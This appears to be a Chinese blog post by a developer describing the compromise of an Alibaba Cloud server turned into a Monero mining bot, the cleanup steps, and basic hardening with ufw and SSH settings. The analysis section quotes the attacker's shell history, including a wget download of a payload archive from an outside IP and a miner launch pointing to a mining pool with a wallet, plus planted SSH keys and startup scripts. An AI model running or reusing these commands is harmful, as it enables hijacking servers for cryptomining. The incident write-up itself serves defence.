碼農的黑客反擊戰

前言

就在近幾日的一天,我們的一臺阿里云ubuntu服務器應該被人黑進系統,做成了肉雞,占用了大量資源,嚴重影響了使用。為了盡快恢復服務,不得已,在我司沒有相關專業人才的情況,臨危受命,光著膀子上陣,反擊戰就此拉開。

1. 現象

原本好好的一臺阿里云上的服務器突然訪問不了,通過ssh登錄幾乎沒有反應,連接不上。

2. 分析

服務器連接不上,服務器上的服務也訪問不了,直接懷疑服務器宕機了。登錄阿里云的控制臺發現,該機器狀態正在運行,這就奇怪了。

繼續再控制臺查看,發現該服務器的系統資源監控圖上,CPU和IO網絡資源占用全都是100%,而我們的服務根本用不了這么多,懷疑有異常應用。

接著在控制臺的云盾監控里發現,該服務器存外地在一次異常登錄,這下確認,應該被人黑了。

這里有個郁悶的地方,阿里監控到了這個黑客,但想看更多的信息,就得升級VIP,就得花錢,還不便宜。

確定服務器被人動了手腳,但具體動了怎么樣的手腳?如何恢復?怎么防止?繼續分析。

通過SSH根本訪問不了服務器,那想登陸服務器查找異常也實現不了,得先解決這問題。

1.通過阿里控制強制重啟該服務器,剛剛重啟之后,用ssh登錄,正常。執行top命令,觀察系統資源情況。剛開始一切正常,大概1分鐘左右后,整個服務器進程全變成了ps進程,系統資源被耗盡,cpu,內存全滿。

2.再次重啟,嘗試幾次之后發現,剛重啟的時候ssh登錄,ps,top命令執行正常,1分鐘后系統所有進程基本全變成了ps,top,nestat進程,并且大量的占用資源,導致幾乎每個進程都是100%的cpu消耗。而再執行ps,top,netstat命令,命令正常結束,但沒有任何輸出。通過和其他正常服務器的對比,確定這幾個命令被替換了。

3.通過history命令發現,有一段命令操作像是安裝肉雞的操作:

1988 wget http://118.192.146.141:21222/generic.zip

1989 unzip generic.zip 1990 rm -rf generic.zip 1991 cd generic.zip 1992 cd generic 1993 chmod 777 yam 1994 (./yam -c x -M stratum+tcp://45scyJKLwUNFWdZQHanAWw7LDRGrfCeTGft12xyo6Cg6Z2XWhdub7BWW5H2iBrGGAc9XfC4VsQcRbPNgLgZDSqBK9KGJAvG:x@xmr.crypto-pool.fr:3333/xmr &)

1995 exit

1996 top

該命令在root目錄下載了一個zip文件,解壓后賦權限,啟動了一個命令,這個命令看不懂。通過baidu大概知道,利用redis安全漏洞攻擊的腳本里的命令跟這個挺像。

4.檢查ssh key發現,在/root/.ssh/authorized_keys、authoried_keys文件里新增兩個ssh key的配置,根據最后的名稱發現,明顯不是我們的。

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm3sLlDeWVz+wniirqWHTj

r3X3Wn1EMPC5Ii7gC3yJ2w3XBZRqxg9WYYFD/9RlacTnO9LUcV35AQ+p+N9CSATMJLIK/iZznFSFtnbrqonhFd2SUtRhT8fPvwdSTmmKVZDOiI+ZWJcpffY8pOf2iXBkiVv3QIdTViJIkBF918gwIbQGYF5AJ+EqgA1HvOcMIM2C4btMwjImhGUW13buMv6RPfQHpayaPuC6xjGoqrhKvv9hEAAKn/g60S76Bj4WhXcbtYb8y0v1/TNRqv6AT7Om+NfjJUt6cxfgTw5SoQIFFQAKd3UyRr+z2xchSEf14lDRPrRU51tr4elU82MVKXBh root@kalissh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+wDfk9Uf97bGjImaI1c3Xi4DRTLqvW7GN1YoKJ2GJLIGbQlg7gYtDpcu0fjOjvL95kNNVkVcwBD5XzkmI+IM4nzybmMFX//r5efTp1z9fDWP3KvORo+qWJvwTcxwB8nYQRlwpkQn5HTXj4WkGpa93v5PthReoDFdPHmB+FMadbN6n9z2gOr+hNVSxeNGpNFzWNFVcGCKfMl7sJgexaw5gjeEobouvd1BvdbEBeIggnTSSEHYMpL0QlpHjWErgTCURIKno5xScpWmE9ejAui7uEjdDbtpjrY2Z8O9zExQtNRSb2gNXAtl3Y+3vfS6g8CzOTV2wdExukvKw+1zWQVFL zuoshou@ubuntu

5.檢查系統開機自啟項,/etc/rc.local里發現兩個沒見過的自啟腳本。

sh /etc/issue.sh &sh /etc/iisethert.sh &

同時發現/etc/目錄issue.sh,iisethert.sh 文件。然后,進入/etc/init.d/目錄,發現幾十個沒見過的文件

hkiewsdxasasx*

akslkkxmjdslk*

klkmxasdsiwqx*

opewlncwxjioq*

....

看著就像程序隨機生成的,按時間排序,發現這些都是最近的。總共50多個。另外發現DbSecuritySpt、selinux腳本,也覺得是異常腳本。

3. 反擊

根據之前的分析,大概知道哪里出了異常。具體異常之處的作用,暫沒有分析,先解決問題為主。

1.刪除異常root目錄下generic相關文件

2.刪除異常的ssh key

3.刪除/etc/rc.local異常腳本配置

4.刪除/etc/init.d/下異常腳本

5.刪除/etc/rc0.d~rc6.d/目錄異常腳本連接

6.從其他正常的服務器上,復制正常的ps、top、netstat命令到/bin目錄下,恢復命令。

上面的反擊操作不是一撮而就的,重啟了好幾次服務器,陸續執行上面的反擊操作。終于,最后一次重啟服務器,通過top命令發現,系統進程正常了。

事后在網上搜到一篇類似的文章,我的具體情況和他的有些不一樣,估計是一種新變種。 參考文章:一次Linux服務器被入侵和刪除木馬程序的經歷

防護

解決了問題,就要考慮如何防止。一查才發現我們之前的防護實在是有點太弱了。常規的防護手段都沒有用,趕緊上。

開啟防火墻

安裝

sudo apt-get install ufw

啟用防火墻

sudo ufw enable

sudo ufw default deny

開啟了防火墻并隨系統啟動同時關閉所有外部對本機的訪問(本機訪問外部正常)。

關閉防火墻

sudo ufw disable

查看防火墻狀態

sudo ufw status

開啟/禁用相應端口

sudo ufw allow 80 允許外部訪問80端口

sudo ufw delete allow 80 禁止外部訪問80 端口

sudo ufw allow from 192.168.1.1 允許此IP訪問所有的本機端口

sudo ufw deny smtp 禁止外部訪問smtp服務

sudo ufw delete allow smtp 刪除上面建立的某條規則

sudo ufw deny proto tcp from 10.0.0.0/8 to 192.168.0.1 port 22 要拒絕所有的TCP流量從10.0.0.0/8 到192.168.0.1地址的22端口

可以允許所有RFC1918網絡(局域網/無線局域網的)訪問這個主機(/8,/16,/12是一種網絡分級):

sudo ufw allow from 10.0.0.0/8

sudo ufw allow from 172.16.0.0/12

sudo ufw allow from 192.168.0.0/16

推薦設置

sudo apt-get install ufw

sudo ufw enable

sudo ufw default deny

修改ssh端口

Linux中SSH默認端口為22,為了安全考慮,我們有必要對22端口進行修改,現修改端口為60000;修改方法如下:

在/etc/ssh/sshd_config中找到Port 22,將其修改為60000,或使用/usr/sbin/sshd -p 60000指定端口。

如果想讓22和60000端口同時開放,只需在/etc/ssh/sshd_config增加一行內容如下:

[root@localhost /]# vi /etc/ssh/sshd_configPort 22Port 60000

保存并退出

[root@localhost /]#service ssh restart

重啟 ssh 服務

root@ubuntu14:~# service ssh restartssh stop/waiting

ssh start/running, process 1499

root@ubuntu14:~#

禁用root賬戶,增加sudo權限

假如增加用戶zhangsan的sudo權限。 修改/etc/sudoers文件,在root下增加如下一行。

root ALL=(ALL) ALL

zhangsan ALL=(ALL) ALL

增加用戶名zhangsan:

useradd zhangsan

passwd zhangsan

禁止root用戶登錄:修改/etc/ssh/sshd_config文件,將PermitRootLogin前的#號去掉,yes改為no,重啟network。

# Authentication:LoginGraceTime 120

#PermitRootLogin without-password

PermitRootLogin no

StrictModes yes

按照以上方法,root用戶將不能登錄,則使用zhangsan用戶登錄。切換到root權限可使用#sudo su ,然后輸入zhangsan的密碼即可。

后記

嚴格的說這不能是算一次漂亮的反擊戰,只是暫時解決了問題,因為時間緊迫,過程中也沒有保存異常的文件供后續研究,也沒有截圖。 對于黑客技術,碼農知之甚少,這次被人搞了事情之后,看來非常有必要知道這方面的知識。這個搞事情的人不知道是大意了還是水平一般,還是很容易發現系統異常,如果遇到高級黑,估計我就傻眼了。總之,不以惡小而為之,OK?

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容